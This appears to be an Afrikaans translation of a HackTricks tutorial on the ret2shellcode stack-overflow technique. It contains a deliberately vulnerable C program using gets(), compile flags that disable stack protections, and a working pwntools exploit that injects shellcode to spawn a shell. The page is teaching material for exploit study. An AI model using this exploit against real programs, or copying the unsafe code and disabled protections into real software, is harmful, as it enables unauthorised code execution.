hacktricks/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2shellcode.md

6.3 KiB

Ret2Shellcode

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Basiese Inligting

Ret2shellcode is 'n tegniek wat gebruik word in binêre uitbuiting waar 'n aanvaller shellcode na 'n kwesbare program se stapel skryf en dan die Instruksie-aanwyser (IP) of Uitgebreide Instruksie-aanwyser (EIP) wysig om na die ligging van hierdie shellcode te wys, wat veroorsaak dat dit uitgevoer word. Dit is 'n klassieke metode wat gebruik word om ongemagtigde toegang te verkry of arbitrêre opdragte op 'n teikensisteem uit te voer. Hier is 'n uiteensetting van die proses, insluitend 'n eenvoudige C-voorbeeld en hoe jy 'n ooreenstemmende uitbuiting met Python en pwntools kan skryf.

C-voorbeeld: 'n Kwesbare Program

Laten ons begin met 'n eenvoudige voorbeeld van 'n kwesbare C-program:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Hierdie program is vatbaar vir 'n buffer overflow as gevolg van die gebruik van die gets() funksie.

Kompilasie

Om hierdie program te kompileer terwyl verskeie beskermings gedeaktiveer word (om 'n vatbare omgewing te simuleer), kan jy die volgende bevel gebruik:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Deaktiveer stapelbeskerming.
  • -z execstack: Maak die stapel uitvoerbaar, wat nodig is vir die uitvoering van shellcode wat op die stapel gestoor word.
  • -no-pie: Deaktiveer Posisioneel Onafhanklike Uitvoerbare, wat dit makliker maak om die geheue-adres te voorspel waar ons shellcode geleë sal wees.
  • -m32: Kompileer die program as 'n 32-bis uitvoerbare, dikwels gebruik vir eenvoudigheid in uitbuitontwikkeling.

Python Uitbuit met behulp van Pwntools

Hier is hoe jy 'n uitbuit in Python kan skryf met behulp van pwntools om 'n ret2shellcode aanval uit te voer:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Hierdie skrip konstrueer 'n lading wat bestaan uit 'n NOP-glybaan, die shellcode, en dan oorskryf die EIP met die adres wat na die NOP-glybaan wys, om te verseker dat die shellcode uitgevoer word.

Die NOP-glybaan (asm('nop')) word gebruik om die kans te verhoog dat die uitvoering in ons shellcode "gly" ongeag die presiese adres. Pas die p32() argument aan na die beginadres van jou buffer plus 'n offset om in die NOP-glybaan te land.

Beskermings

  • ASLR moet gedeaktiveer word sodat die adres betroubaar oor uitvoerings heen is, anders sal die adres waar die funksie gestoor word nie altyd dieselfde wees nie en sal jy 'n lek nodig hê om uit te vind waar die wenfunksie gelaai is.
  • Stapelkanaries moet ook gedeaktiveer word, anders sal die gekompromitteerde EIP terugkeeradres nooit gevolg word nie.
  • NX stapel beskerming sal die uitvoering van die shellcode binne die stapel voorkom omdat daardie gebied nie uitvoerbaar sal wees nie.

Ander Voorbeelde

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: